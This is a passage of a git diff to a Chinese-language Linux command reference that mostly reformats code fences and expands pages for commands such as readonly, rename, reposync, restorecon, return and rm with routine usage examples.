-rwxr-xr-x 1 quietheart quietheart 117 07-08 16:06 myfile.cpp
@@ -207,7 +207,7 @@ libmy.a libmy.so myfile.cpp myfile.h myfile.o
**读取可执行文件形式的elf文件头信息:**
-```
+```shell
[root@localhost test]$ readelf -h main
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
@@ -235,7 +235,7 @@ ELF Header:
**读取目标文件形式的elf文件头信息:**
-```
+```shell
[root@localhost test]$ readelf -h myfile.o
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
@@ -263,7 +263,7 @@ ELF Header:
**读取静态库文件形式的elf文件头信息:**
-```
+```shell
[root@localhost test]$ readelf -h libmy.a
File: libmy.a(myfile.o)
ELF Header:
@@ -292,7 +292,7 @@ ELF Header:
**读取动态库文件形式的elf文件头信息:**
-```
+```shell
[root@localhost test]$ readelf -h libmy.so
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
@@ -320,7 +320,7 @@ ELF Header:
**查看可执行的elf文件程序头表信息:**
-```
+```shell
[root@localhost test]$ readelf -l main
Elf file type is EXEC (Executable file)
Entry point 0x8048580
@@ -354,7 +354,7 @@ Section to Segment mapping:
**查看目标文件的elf文件程序头表信息: **
-```
+```shell
[root@localhost test]$ readelf -l myfile.o
There are no program headers in this file.
```
@@ -363,7 +363,7 @@ There are no program headers in this file.
**查看静态库文件的elf文件程序头表信息:**
-```
+```shell
[root@localhost test]$ readelf -l libmy.a
File: libmy.a(myfile.o)
There are no program headers in this file.
@@ -373,7 +373,7 @@ There are no program headers in this file.
**查看动态库文件的elf文件程序头表信息:**
-```
+```shell
[root@localhost test]$ readelf -l libmy.so
Elf file type is DYN (Shared object file)
Entry point 0x550
@@ -400,7 +400,7 @@ Section to Segment mapping:
**查看一个可执行的elf文件的节信息:**
-```
+```shell
[root@localhost test]$ readelf -S main
There are 29 section headers, starting at offset 0xca0:
Section Headers:
@@ -444,7 +444,7 @@ Key to Flags:
**查看一个包含调试信息的可执行的elf文件的节信息:**
-```
+```shell
[root@localhost test]$ readelf -S main.debug
There are 37 section headers, starting at offset 0x88c8:
@@ -497,7 +497,7 @@ Key to Flags:
**查看一个目标文件的elf文件的节信息:**
-```
+```shell
[root@localhost test]$ readelf -S myfile.o
There are 15 section headers, starting at offset 0x204:
@@ -524,11 +524,11 @@ Key to Flags:
O (extra OS processing required) o (OS specific), p (processor specific)
-```
+```shell
**查看一个静态库文件的elf文件的节信息:**
-```
+```shell
[root@localhost test]$ readelf -S libmy.a
File: libmy.a(myfile.o)
There are 15 section headers, starting at offset 0x204:
@@ -558,7 +558,7 @@ Key to Flags:
**查看一个动态库文件的elf文件的节信息:**
-```
+```shell
[root@localhost test]$ readelf -S libmy.so
There are 27 section headers, starting at offset 0xad0:
@@ -598,4 +598,3 @@ Key to Flags:
```
-
\ No newline at end of file
diff --git a/command/readonly.md b/command/readonly.md
index 323806e2d2e..1895df531c6 100644
--- a/command/readonly.md
+++ b/command/readonly.md
@@ -1,57 +1,105 @@
readonly
===
-
-定义只读shell变量或函数
-## 补充说明
+标记shell变量或函数为只读
-**readonly命令** 用于定义只读shell变量和shell函数。readonly命令的选项-p可以输出显示系统中所有定义的只读变量。
+## 语法
-### 语法
-
-```
-readonly(选项)(参数)
+```shell
+readonly [-aAf] [name[=value] ...]
+readonly -p
```
-### 选项
+## 主要用途
+
+- 定义一到多个变量并设置只读属性。
+- 为已定义的一到多个变量设置只读属性。
+- 显示全部包含只读属性的变量。
+- 为已定义的一到多个函数设置只读属性。
+- 显示全部包含只读属性的函数。
+## 选项
+
+```shell
+-a:指向数组。
+-A:指向关联数组。
+-f:指向函数。
+-p:显示全部只读变量。
+--:在它之后的选项无效。
```
--f:定义只读函数;
--a:定义只读数组变量;
--p:显示系统中全部只读变量列表。
+
+## 参数
+
+```shell
+name(可选):变量名或函数名
+value(可选):变量的值
```
-### 参数
+### 返回值
+
+readonly返回true除非你提供了非法选项或非法名称。
-变量定义:定义变量,格式为“变量名=‘变量值’”。
+## 例子
+
+```shell
+# 定义变量并增加只读属性
+readonly var1=13 var2
+readonly -a arr1=(1 2 3 4 5) arr2=('z' 'x' 'c')
+# 必须有 '-A' 选项
+readonly -A dict1=(['key1']='value1')
+```
-### 实例
+```shell
+# 先定义变量、函数,然后再为它们添加只读属性
+max=3
+readonly max
-使用readonly命令显示系统中所有的已经定义的只读变量,输入如下命令:
+# 数组定义时可以不加 `declare -a`
+seasons=('spring' 'summer' 'autumn' 'winter')
+# 为数组添加只读属性时可以不加 `-a` 选项
+readonly seasons
+declare -A man=(['age']=23 ['height']='190cm')
+# 为关联数组添加只读属性时可以不加 `-A` 选项
+readonly man
+
+function foo(){ echo 'bar'; }
+# 为函数添加只读属性时必须加 `-f` 选项
+readonly -f foo
```
-[root@localhost ~]# readonly #显示只读变量
-declare -ar BASH_VERSINFO='([0]="3" [1]="2" [2]="25" [3]="1" [4]="release" [5]="i686-redhat-linux-gnu")'
-declare -ir EUID="0"
-declare -ir PPID="31436"
-declare -r SHELLOPTS="braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor"
-declare -ir UID="0"
+
+```shell
+# 显示全部只读变量,以下两个命令的显示结果一样
+readonly
+readonly -p
+# 显示全部拥有只读属性的数组
+readonly -a
+# 显示全部拥有只读属性的关联数组
+readonly -A
+# 显示全部拥有只读属性的函数
+readonly -f
```
+## 常见错误
+
对于只读变量而言,若用户对其值进行修改,则会立即报错。例如,使用该指令定义一个只读变量"test",并且将其值初始化为"ok",输入如下命令:
-```
+```shell
[root@localhost ~]# readonly test='ok' #定义只读变量并初始化
```
-那么当用户直接修改该只读变量时,就会被报错,如下所示:
+那么当用户直接修改该只读变量时就会报错,如下所示:
-```
+```shell
[root@localhost ~]# test='my' #试图修改只读变量的值
-bash: test: readonly variable
```
当用户试图修改只读变量的值时,会被提示该变量为只读变量。
+## 注意
+
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+2. `declare +r`不能去除只读属性, `unset`不能删除只读变量。
+
-
\ No newline at end of file
diff --git a/command/reboot.md b/command/reboot.md
index 6634f36df52..7b14d653f84 100644
--- a/command/reboot.md
+++ b/command/reboot.md
@@ -1,21 +1,21 @@
reboot
===
-
+
重新启动正在运行的Linux操作系统
## 补充说明
**reboot命令** 用来重新启动正在运行的Linux操作系统。
-### 语法
+### 语法
-```
+```shell
reboot(选项)
```
-### 选项
+### 选项
-```
+```shell
-d:重新开机时不把数据写入记录文件/var/tmp/wtmp。本参数具有“-n”参数效果;
-f:强制重新开机,不调用shutdown指令的功能;
-i:在重开机之前,先关闭所有网络界面;
@@ -23,12 +23,11 @@ reboot(选项)
-w:仅做测试,并不真正将系统重新开机,只会把重开机的数据写入/var/log目录下的wtmp记录文件。
```
-### 实例
+### 实例
-```
+```shell
reboot //重开机。
reboot -w //做个重开机的模拟(只有纪录并不会真的重开机)。
```
-
\ No newline at end of file
diff --git a/command/reject.md b/command/reject.md
index c28a60fdbbe..322c151fb75 100644
--- a/command/reject.md
+++ b/command/reject.md
@@ -1,30 +1,29 @@
reject
===
-
+
指示打印系统拒绝发往指定目标打印机的打印任务
## 补充说明
**reject命令** 属于CUPS套件,用于指示打印系统拒绝发往指定目标打印机的打印任务。
-### 语法
+### 语法
-```
+```shell
reject(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-E:当连接到服务器时强制使用加密;
-U:指定连接服务器时使用的用户名;
-h:指定连接服务器名和端口号;
-r:指定拒绝打印任务的原因。
```
-### 参数
+### 参数
目标:指定目标打印机。
-
\ No newline at end of file
diff --git a/command/rename.md b/command/rename.md
index 2c44b83dee6..f537ee1a664 100644
--- a/command/rename.md
+++ b/command/rename.md
@@ -1,77 +1,162 @@
rename
===
-
+
用字符串替换的方式批量改变文件名
## 补充说明
-**rename命令** 用字符串替换的方式批量改变文件名。
+rename命令存在两个版本用法上有所区别
-### 语法
+```bash
+C语言版本, 支持通配符
+[常用通配符说明]
+? 表示一个任意字符
+* 表示一个或一串任意字符
-```
-rename(参数)
+Perl版本, 支持正则表达式
+[常用正则表达式符号说明]
+^ 匹配输入的开始位置
+$ 匹配输入的结尾
+. 匹配除换行符外的任意字符
++ 匹配前一个字符一次或多次 例如,"zo+"可以匹配"zoo",但不匹配"z"
+[a-z] 表示某个范围内的字符,例如,"[a-z]"匹配"a"与"z"之间的任何一个小写字母字符。
+[^m-z] 否定的字符区间。与不在指定区间内的字符匹配。
```
-### 参数
+区分方法: `rename --version`
-```
-原字符串:将文件名需要替换的字符串;
-目标字符串:将文件名中含有的原字符替换成目标字符串;
-文件:指定要改变文件名的文件列表。
+如果返回结果中包含 **util-linux** , 说明是C语言版本, 反之是Perl版本
+```bash
+# Perl版本 | Ubuntu(18),Mint(20)默认的是Perl版本
+$ rename --version
+/usr/bin/rename using File::Rename version 1.10
+
+# C语言版本 | Centos(7)默认的是C语言版本
+$ rename --version
+rename,来自 util-linux 2.23.2
```
-### 实例
-将main1.c重命名为main.c
+### 语法
-```
-rename main1.c main.c main1.c
+```bash
+# Perl版本
+rename [ -h|-m|-V ] [ -v ] [ -0 ] [ -n ] [ -f ] [ -d ] [ -e|-E perlexpr]*|perlexpr [ files ]
+
+# C语言版本
+rename [选项] 表达式 替换的字符 文件...
```
- **rename支持通配符**
+### 参数
-```
-? 可替代单个字符
-* 可替代多个字符
-[charset] 可替代charset集中的任意单个字符
-```
+```bash
+# Perl版本
+-v, --verbose
+ 详细:成功重命名的文件的打印名称。
-文件夹中有这些文件foo1, ..., foo9, foo10, ..., foo278
+-0, --null
+ 从STDIN读取时,请使用\0作为记录分隔符
-如果使用`rename foo foo0 foo?`,会把foo1到foo9的文件重命名为foo01到foo09,重命名的文件只是有4个字符长度名称的文件,文件名中的foo被替换为foo0。
+-n, --nono
+ 不执行任何操作:打印要重命名的文件名,但不重命名。
-如果使用`rename foo foo0 foo??`,foo01到foo99的所有文件都被重命名为foo001到foo099,只重命名5个字符长度名称的文件,文件名中的foo被替换为foo0。
+-f, --force
+ 覆盖:允许覆盖现有文件
-如果使用`rename foo foo0 foo*`,foo001到foo278的所有文件都被重命名为foo0001到foo0278,所有以foo开头的文件都被重命名。
+--path, --fullpath
+ 重命名完整路径:包括任何目录组件。默认
-如果使用`rename foo0 foo foo0[2]*`,从foo0200到foo0278的所有文件都被重命名为foo200到foo278,文件名中的foo0被替换为foo。
+-d, --filename, --nopath, --nofullpath
+ 不重命名目录:仅重命名路径的文件名部分
- **rename支持正则表达式**
+-h, --help
+ 帮助:打印提要和选项。
-字母的替换
+-m, --man
+ 手册: 打印手册页.
+-V, --version
+ 版本: 显示版本号.
+
+-e 表达: 作用于文件名的代码.
+
+ 可以重复来构建代码(比如“perl-e”)。如果没有-e,则第一个参数用作代码。
+
+-E 语句:对文件名执行操作的代码,如-e,但终止于 ';'.
+
+
+# C语言版本
+-v, --verbose
+ 提供视觉反馈,其中重命名了哪些文件(如果有的话)
+
+-V, --version
+ 显示版本信息并退出。
+
+-s, --symlink
+ 在符号链接目标上执行重命名
+
+-h, --help
+ 显示帮助文本并退出
```
-rename "s/AA/aa/" * //把文件名中的AA替换成aa
+
+### 实例
+
+---
+
+#### Perl版本
+
+将1.txt 2.txt重命名为1.log 2.log
+
+```bash
+$ rename -v "s/txt/log/g" 1.txt 2.txt
+1.txt renamed as 1.log
+2.txt renamed as 2.log
```
修改文件的后缀
-```
-rename "s//.html//.php/" * //把.html 后缀的改成 .php后缀
+```bash
+rename "s//.html//.php/" * # 把.html 后缀的改成 .php后缀
```
批量添加文件后缀
-```
-rename "s/$//.txt/" * //把所有的文件名都以txt结尾
+```bash
+rename "s/$//.txt/" * # 把所有的文件名都以txt结尾
```
批量删除文件名
+```bash
+rename "s//.txt//" * # 把所有以.txt结尾的文件名的.txt删掉
```
-rename "s//.txt//" * //把所有以.txt结尾的文件名的.txt删掉
+
+---
+
+##### C语言版本
+
+
+将1.txt 2.txt重命名为1.log 2.log
+
+```bash
+$ rename -v txt log 1.txt 2.txt
+`1.txt' -> `1.log'
+`2.txt' -> `2.log'
+```
+
+文件夹中有这些文件foo1, ..., foo9, foo10, ..., foo278
+```bash
+# 把foo1到foo9的文件重命名为foo01到foo09,重命名的文件只是有4个字符长度名称的文件,文件名中的foo被替换为foo0。
+rename foo foo0 foo?
+
+# foo01到foo99的所有文件都被重命名为foo001到foo099,只重命名5个字符长度名称的文件,文件名中的foo被替换为foo0。
+rename foo foo0 foo??
+
+# foo001到foo278的所有文件都被重命名为foo0001到foo0278,所有以foo开头的文件都被重命名。
+rename foo foo0 foo*
+
+# 从foo0200到foo0278的所有文件都被重命名为foo200到foo278,文件名中的foo0被替换为foo。
+rename foo0 foo foo0[2]*
```
-
\ No newline at end of file
diff --git a/command/renice.md b/command/renice.md
index 4d2aa94965e..97d762171f2 100644
--- a/command/renice.md
+++ b/command/renice.md
@@ -1,39 +1,38 @@
renice
===
-
+
修改正在运行的进程的调度优先级
## 补充说明
**renice命令** 可以修改正在运行的进程的调度优先级。预设是以程序识别码指定程序调整其优先权,您亦可以指定程序群组或用户名称调整优先权等级,并修改所有隶属于该程序群组或用户的程序的优先权。只有系统管理者可以改变其他用户程序的优先权,也仅有系统管理者可以设置负数等级。
-### 语法
+### 语法
-```
+```shell
renice(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-g:指定进程组id;
-p<程序识别码>:改变该程序的优先权等级,此参数为预设值。
-u:指定开启进程的用户名。
```
-### 参数
+### 参数
进程号:指定要修改优先级的进程。
-### 实例
+### 实例
将行程id为987及32的行程与行程拥有者为daemon及root的优先序号码加1:
-```
+```shell
renice 1 987 -u daemon root -p 32
```
注意:每一个行程都有一个唯一的id。
-
\ No newline at end of file
diff --git a/command/reposync.md b/command/reposync.md
new file mode 100644
index 00000000000..71fb087f937
--- /dev/null
+++ b/command/reposync.md
@@ -0,0 +1,100 @@
+reposync
+===
+
+同步yum存储库到本地目录
+
+## 概要
+
+```shell
+reposync [选项]
+```
+
+## 主要用途
+
+reposync用于将远程yum存储库同步到本地目录,使用yum检索包。
+
+## 选项
+
+```shell
+-h, --help
+# 显示帮助信息
+
+-c CONFIG, --config=CONFIG
+# 指定配置文件(默认为/etc/yum.conf)
+
+-a ARCH, --arch=ARCH
+# 指定arch
+
+--source
+# 同时下载src和rpm文件.
+
+-r REPOID, --repoid=REPOID
+# 指定要查询的repo id,可以指定多次(默认为全部启用)。
+
+-e CACHEDIR, --cachedir CACHEDIR
+# 存储元数据的目录。
+
+-t, --tempcache
+# 使用临时目录存储/访问yum-cache。
+
+-d, --delete
+# 删除存储库中不再存在的本地包。
+
+-p DESTDIR, --download_path=DESTDIR
+# 指定下载路径:默认为当前目录。
+
+--norepopath
+# 不要将重命名添加到下载路径中。只能在同步单个存储库时使用(默认是添加重命名)。
+
+-g, --gpgcheck
+# 下载后删除GPG签名检查失败的包。如果至少有一个包被删除,退出状态为“1”。
+
+-u, --urls
+# 只列出要下载的内容的url,不要下载。
+
+-l, --plugins
+# 启用yum插件支持。
+
+-m, --downloadcomps
+# 同时下载comps.xml。
+
+--download-metadata
+# 下载所有非默认元数据。
+
+-n, --newest-only
+# 每个repo只下载最新的包。
+
+-q, --quiet
+# 输出尽可能少的信息。
+
+--allow-path-traversal
+# 允许同步存储在repo目录之外的包。这些包是在元数据中通过使用绝对路径或上一级“..”系统引用的并且出于安全原因通常会在reposync中跳过。
+# 注意:使用此选项有潜在的安全隐患,因为通过提供恶意repodata,攻击者可以使reposync写入任意位置运行该文件系统的用户可以访问的文件系统。
+```
+
+## 例子
+
+```shell
+# 将'updates'仓库中的所有包同步到当前目录:
+reposync --repoid=updates
+
+# 只同步最新的包从'updates'仓库到当前目录:
+reposync -n --repoid=updates
+
+# 将'updates'和'extras'仓库中的包同步到当前目录:
+reposync --repoid=updates --repoid=extras
+
+# 将'updates'仓库中的所有包同步到repos目录:
+reposync -p repos --repoid=updates
+
+# 将'updates'仓库中的所有包同步到repos目录,排除x86_64架构文件。编辑/etc/yum.conf,添加选项exclude=*.x86_64。再执行:
+reposync -p repos --repoid=updates
+```
+
+## 文件
+
+reposync使用yum库来检索信息和包。如果没有指定配置文件,将使用默认的yum配置。
+
+* /etc/yum.conf
+* /etc/yum/repos.d/
+
diff --git a/command/repquota.md b/command/repquota.md
index 328620a35ff..d22d1c3be47 100644
--- a/command/repquota.md
+++ b/command/repquota.md
@@ -1,38 +1,37 @@
repquota
===
-
+
报表的格式输出磁盘空间限制的状态
## 补充说明
**repquota命令** 以报表的格式输出指定分区,或者文件系统的磁盘配额信息。
-### 语法
+### 语法
-```
+```shell
repquota(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:列出在/etc/fstab文件里,有加入quota设置的分区的使用状况,包括用户和群组;
-g:列出所有群组的磁盘空间限制;
-u:列出所有用户的磁盘空间限制;
-v:显示该用户或群组的所有空间限制。
```
-### 参数
+### 参数
文件系统:要打印报表的文件系统或者对应的设备文件名。
-### 实例
+### 实例
显示所有文件系统的磁盘使用情况
-```
+```shell
repquota -a
```
-
\ No newline at end of file
diff --git a/command/resize.md b/command/resize.md
index 615bc79cddf..0d2a552ed10 100644
--- a/command/resize.md
+++ b/command/resize.md
@@ -1,21 +1,21 @@
resize
===
-命令设置终端机视窗的大小。
+命令设置终端机视窗的大小
## 补充说明
**resize命令** 命令设置终端机视窗的大小。执行resize指令可设置虚拟终端机的视窗大小。
-### 语法
+### 语法
-```
+```shell
resize [-cu][-s <列数> <行数>]
```
-### 选项
+### 选项
-```
+```shell
-c 就算用户环境并非C Shell,也用C Shell指令改变视窗大小。
-s <列数> <行数> 设置终端机视窗的垂直高度和水平宽度。
-u 就算用户环境并非Bourne Shell,也用Bourne Shell指令改变视窗大小。
@@ -25,7 +25,7 @@ resize [-cu][-s <列数> <行数>]
使用 C shell
-```
+```shell
[root@localhost ~]# resize -c
set noglob;
setenv COLUMNS '99';
@@ -36,7 +36,7 @@ unset noglob;
使用 Bourne shell
-```
+```shell
[root@localhost ~]# resize -u
COLUMNS=99;
LINES=34;
@@ -45,9 +45,9 @@ export COLUMNS LINES;
设置指定大小
-```
+```shell
[root@localhost ~]# resize -s 80 160
```
-
+
diff --git a/command/restore.md b/command/restore.md
index 66ded52b01d..47067c128ea 100644
--- a/command/restore.md
+++ b/command/restore.md
@@ -1,21 +1,21 @@
restore
===
-
+
所进行的操作和dump指令相反
## 补充说明
**restore命令** 是dump命令的逆过程,用于还原dump命令生成的备份文件。倾倒操作可用来备份文件,而还原操作则是写回这些已备份的文件。
-### 语法
+### 语法
-```
+```shell
restore(选项)
```
-### 选项
+### 选项
-```
+```shell
-b<区块大小>:设置区块大小,单位为Byte;
-c:不检查倾倒操作的备份格式,仅准许读取使用旧格式的备份文件;
-C:使用对比模式,将备份的文件与现行的文件相互对比;
@@ -33,23 +33,22 @@ restore(选项)
-y:不询问任何问题,一律以同意回答并继续执行指令。
```
-### 实例
+### 实例
-```
+```shell
dump -9 -u -f /dev/hda3 /home/frank/
```
用restore命令来恢复备份:
-```
+```shell
restore rf /dev/hda3 /home/frank
```
用restore命令来查看备份文件里的文件列表:
-```
+```shell
restore ft /dev/hda3
```
-
\ No newline at end of file
diff --git a/command/restorecon.md b/command/restorecon.md
index 312ca007520..85b8fe50f16 100644
--- a/command/restorecon.md
+++ b/command/restorecon.md
@@ -1,21 +1,21 @@
restorecon
===
-
+
恢复文件的安全上下文
## 补充说明
**restorecon命令** 用来恢复SELinux文件属性即恢复文件的安全上下文。
-### 语法
+### 语法
-```
+```shell
restorecon [-iFnrRv] [-e excludedir ] [-o filename ] [-f filename | pathname...]
```
-### 选项
+### 选项
-```
+```shell
-i:忽略不存在的文件。
-f:infilename 文件 infilename 中记录要处理的文件。
-e:directory 排除目录。
@@ -26,44 +26,51 @@ restorecon [-iFnrRv] [-e excludedir ] [-o filename ] [-f filename | pathname...]
-F:强制恢复文件安全语境。
```
-### 实例
+### 实例
假设CentOS安装了apache,网页默认的主目录是`/var/www/html`,我们经常遇到这样的问题,在其他目录中创建了一个网页文件,然后用mv移动到网页默认目录`/var/www/html`中,但是在浏览器中却打不开这个文件,这很可能是因为这个文件的SELinux配置信息是继承原来那个目录的,与`/var/www/html`目录不同,使用mv移动的时候,这个SELinux配置信息也一起移动过来了,从而导致无法打开页面,具体请看下面的实例:
-/*使用CentOS举例,如果默认没有安装apache,确保网络连接,使用下面的命令安装*/
+使用CentOS举例,如果默认没有安装apache,确保网络连接,使用下面的命令安装
+
+```shell
[root@jsdig.com ~]# yum install httpd
- /*我们在root的家目录新建一个html文件*/
+ # 我们在root的家目录新建一个html文件
[root@jsdig.com ~]# pwd
/root
[root@jsdig.com ~]# vi index.html
-/*随便输入一段文字,保存退出*/
+# 随便输入一段文字,保存退出
welcome to www.jsdig.com
-/*将这个文件mv到网页默认目录下*/
+# 将这个文件mv到网页默认目录下
[root@jsdig.com ~]# mv index.html /var/www/html/
-/*
- * 这个时候我们使用firefox浏览器输入127.0.0.1/index.html发现打不开,
- * 查看一下SELinux的日志文件,发现了下面这一段报错信息,从这个报错信息不难看出,
- * 进程httpd访问网页主目录中的index.html时被SELinux阻止,原因是因为,SELinux配置信息不正确,
- * 正确的SELinux配置信息应该是scontext=后面的部分,
- * 而index.html文件的SELinux配置信息却是tcontext=后面的部分,
- * 从tcontext=的第三段“admin_home_t”不难看出,这个文件的SELinux配置信息是root用户家目录的。
- */
+#
+# 这个时候我们使用firefox浏览器输入127.0.0.1/index.html发现打不开,
+# 查看一下SELinux的日志文件,发现了下面这一段报错信息,从这个报错信息不难看出,
+# 进程httpd访问网页主目录中的index.html时被SELinux阻止,原因是因为,SELinux配置信息不正确,
+# 正确的SELinux配置信息应该是scontext=后面的部分,
+# 而index.html文件的SELinux配置信息却是tcontext=后面的部分,
+# 从tcontext=的第三段“admin_home_t”不难看出,这个文件的SELinux配置信息是root用户家目录的。
+#
type=AVC msg=audit(1378974214.610:465): avc: denied { open } for pid=2359 comm="httpd" path="/var/www/html/index.html" dev="sda1" ino=1317685 scontext=system_u:system_r:httpd_t:s0 tcontext=unconfined_u:object_r:admin_home_t:s0 tclass=file
+```
+
+使用ls -Z也可以看出,文件和目录的SELinux信息不匹配
-/*使用ls -Z也可以看出,文件和目录的SELinux信息不匹配*/
+```shell
[root@jsdig.com html]# ls -Z /var/www/html/
.... unconfined_u:object_r:admin_home_t:s0 index.html
[root@jsdig.com html]# ls -Zd /var/www/html/
.... system_u:object_r:httpd_sys_content_t:s0 /var/www/html/
+```
+
+使用restorecon来恢复网页主目录中所有文件的SELinux配置信息(如果目标为一个目录,可以添加-R参数递归)
-/*使用restorecon来恢复网页主目录中所有文件的SELinux配置信息(如果目标为一个目录,可以添加-R参数递归)*/
+```shell
[root@jsdig.com html]# restorecon -R /var/www/html/
```
-
\ No newline at end of file
diff --git a/command/return.md b/command/return.md
new file mode 100644
index 00000000000..e10ece03d24
--- /dev/null
+++ b/command/return.md
@@ -0,0 +1,45 @@
+return
+===
+
+从函数中退出并返回数值。
+
+## 概要
+
+```shell
+return [n]
+```
+
+## 主要用途
+
+- 使得shell函数退出并返回数值,如果没有指定n的值,则默认为函数最后一条命令执行的返回状态。
+
+## 参数
+
+n(可选):整数。
+
+## 返回值
+
+返回值为你指定的参数n的值,如果你指定的参数大于255或小于0,那么会通过加或减256的方式使得返回值总是处于0到255之间。
+
+在函数外执行return语句会返回失败。
+
+## 例子
+
+```shell
+#!/usr/bin/env bash
+# 定义一个返回值大于255的函数
+example() {
+ return 259
+}
+# 执行函数
+example
+# 显示3
+echo $?
+```
+
+### 注意
+
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
+
+
diff --git a/command/rev.md b/command/rev.md
index b61f6d860b5..2cd9e71b952 100644
--- a/command/rev.md
+++ b/command/rev.md
@@ -1,25 +1,25 @@
rev
===
-
+
将文件内容以字符为单位反序输出
## 补充说明
**rev命令** 将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出,依次类推。
-### 语法
+### 语法
-```
+```shell
rev(参数)
```
-### 参数
+### 参数
文件:指定要反序显示内容的文件。
-### 实例
+### 实例
-```
+```shell
[root@localhost ~]# cat iptables.bak
# Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013
*filter
@@ -52,4 +52,3 @@ TIMMOC
```
-
\ No newline at end of file
diff --git a/command/rexec.md b/command/rexec.md
index 354500d7c67..088002229f5 100644
--- a/command/rexec.md
+++ b/command/rexec.md
@@ -1,7 +1,7 @@
rexec
===
-
-运程执行Linux系统下命令
+
+远程执行Linux系统下命令
## 补充说明
@@ -9,31 +9,31 @@ rexec
rexec命令通过检查`$HOME/.netrc`文件(包含远程主机上使用的用户名和密码)来提供自动登录的功能。如果没有发现此类项或系统在安全方式下操作(参阅 securetcpip 命令),rexec命令提示输入一个远程主机的有效用户名和密码。这两种情况下,rexec均导致远程系统上的rexecd使用缺省的compat用户登录认证方法。rexecd不会为了备用的认证方法去查找`/etc/security/user`文件。也可以指定`-n`标志到rexec命令行上来重设自动登录功能。
-### 语法
+### 语法
-```
+```shell
rexec(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:表示远程命令的标准错误与标准输出相同,不支持发送任意信号到远程进程;
-l<用户名>:指定连接远程rexec服务器的用户名;
-p<密码>:指定连接远程rexec服务器的密码;
-n:明确地提示输入用户名和密码。
```
-### 参数
+### 参数
* 远程主机:指定远程主机(ip地址或主机名);
* 命令:指定需要在远程主机上执行的命令。
-### 实例
+### 实例
要在一个远程主机上执行date命令,输入:
-```
+```shell
rexec host1 date
```
@@ -41,7 +41,7 @@ date命令的输出现在显示在本地系统上。本示例中,在本地主
要重设自动登录功能并执行远程主机上的date命令,输入:
-```
+```shell
rexec -nhost1 date
```
@@ -49,7 +49,7 @@ rexec -nhost1 date
列出远程主机上另一个用户的目录,输入:
-```
+```shell
rexec host1 ls -l /home/karen
```
@@ -58,4 +58,4 @@ rexec host1 ls -l /home/karen
如果没有远程主机的`$HOME/.netrc`文件中的有效项,将提示您输入登录标识和密码。输入要求的登录信息后,在远程主机host1上的karen用户的目录列表显示在本地系统上。
-
\ No newline at end of file
+
diff --git a/command/rlogin.md b/command/rlogin.md
index ae0b2318bbb..cfeed46a9d3 100644
--- a/command/rlogin.md
+++ b/command/rlogin.md
@@ -1,21 +1,21 @@
rlogin
===
-
+
从当前终端登录到远程Linux主机
## 补充说明
**rlogin命令** 用于从当前终端登录到远程Linux主机。
-### 语法
+### 语法
-```
+```shell
rlogin(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-8:允许输入8位字符数据;
-e脱离字符>:设置脱离字符;
-E:滤除脱离字符;
@@ -23,9 +23,8 @@ rlogin(选项)(参数)
-L:使用litout模式进行远端登入阶段操作。
```
-### 参数
+### 参数
远程主机:指定要登录的远程主机(ip地址或者域名)。
-
\ No newline at end of file
diff --git a/command/rm.md b/command/rm.md
index 71c54a87254..c628cd54f12 100644
--- a/command/rm.md
+++ b/command/rm.md
@@ -11,13 +11,13 @@ rm
### 语法
-```
+```shell
rm (选项)(参数)
```
### 选项
-```
+```shell
-d:直接把欲删除的目录的硬连接数据删除成0,删除该目录;
-f:强制删除文件或目录;
-i:删除已有文件或目录之前先询问用户;
@@ -34,7 +34,7 @@ rm (选项)(参数)
交互式删除当前目录下的文件test和example
-```
+```shell
rm -i test example
Remove test ?n(不删除文件test)
Remove example ?y(删除文件example)
@@ -42,26 +42,50 @@ Remove example ?y(删除文件example)
删除当前目录下除隐含文件外的所有文件和子目录
-```
+```shell
# rm -r *
```
应注意,这样做是非常危险的!
-**rm 命令删除文件**
+**删除当前目录下的 package-lock.json 文件**
+
+```shell
+find . -name "package-lock.json" -exec rm -rf {} \;
+```
+
+**查找 *.html 结尾的文件并删除**
+
+```shell
+find ./docs -name "*.html" -exec rm -rf {} \;
+```
+
+**删除当前项目下 *.html 结尾的文件**
+
+```shell
+rm -rf *.html
+```
+
+**删除当前目录下的 node_modules 目录**
-```bash
+```shell
+find . -name 'node_modules' -type d -prune -exec rm -rf '{}' +
+```
+
+**删除文件**
+
+```shell
# rm 文件1 文件2 ...
rm testfile.txt
```
-**rm 命令删除目录**
+**删除目录**
> rm -r [目录名称]
> -r 表示递归地删除目录下的所有文件和目录。
> -f 表示强制删除
-```
+```shell
rm -rf testdir
rm -r testdir
```
@@ -70,15 +94,21 @@ rm -r testdir
> rm -i [文件/目录]
-```
+```shell
rm -r -i testdir
```
+**批量删除 `icons` 文件夹中的子文件夹中的 data 文件夹**
+
+```shell
+rm -rf icons/**/data
+```
+
**rm 忽略不存在的文件或目录**
> -f 选项(LCTT 译注:即 “force”)让此次操作强制执行,忽略错误提示
-```
+```shell
rm -f [文件...]
```
@@ -87,7 +117,7 @@ rm -f [文件...]
> 选项 -I,可保证在删除超过 3 个文件时或递归删除时(LCTT 译注: 如删除目录)仅提示一次确认。
-```
+```shell
rm -I file1 file2 file3
```
@@ -96,14 +126,14 @@ rm -I file1 file2 file3
> 当然,删除根目录(/)是 Linux 用户最不想要的操作,这也就是为什么默认 rm 命令不支持在根目录上执行递归删除操作。
> 然而,如果你非得完成这个操作,你需要使用 --no-preserve-root 选项。当提供此选项,rm 就不会特殊处理根目录(/)了。
-```
-不给实例了,操作系统都被你删除了,你太坏了😆
+```shell
+不给示例了,操作系统都被你删除了,你太坏了😆
```
**rm 显示当前删除操作的详情**
-```
+```shell
rm -v [文件/目录]
```
-
+
diff --git a/command/rmdir.md b/command/rmdir.md
index fab3d243c43..0ac6b29fe63 100644
--- a/command/rmdir.md
+++ b/command/rmdir.md
@@ -11,15 +11,15 @@ rmdir
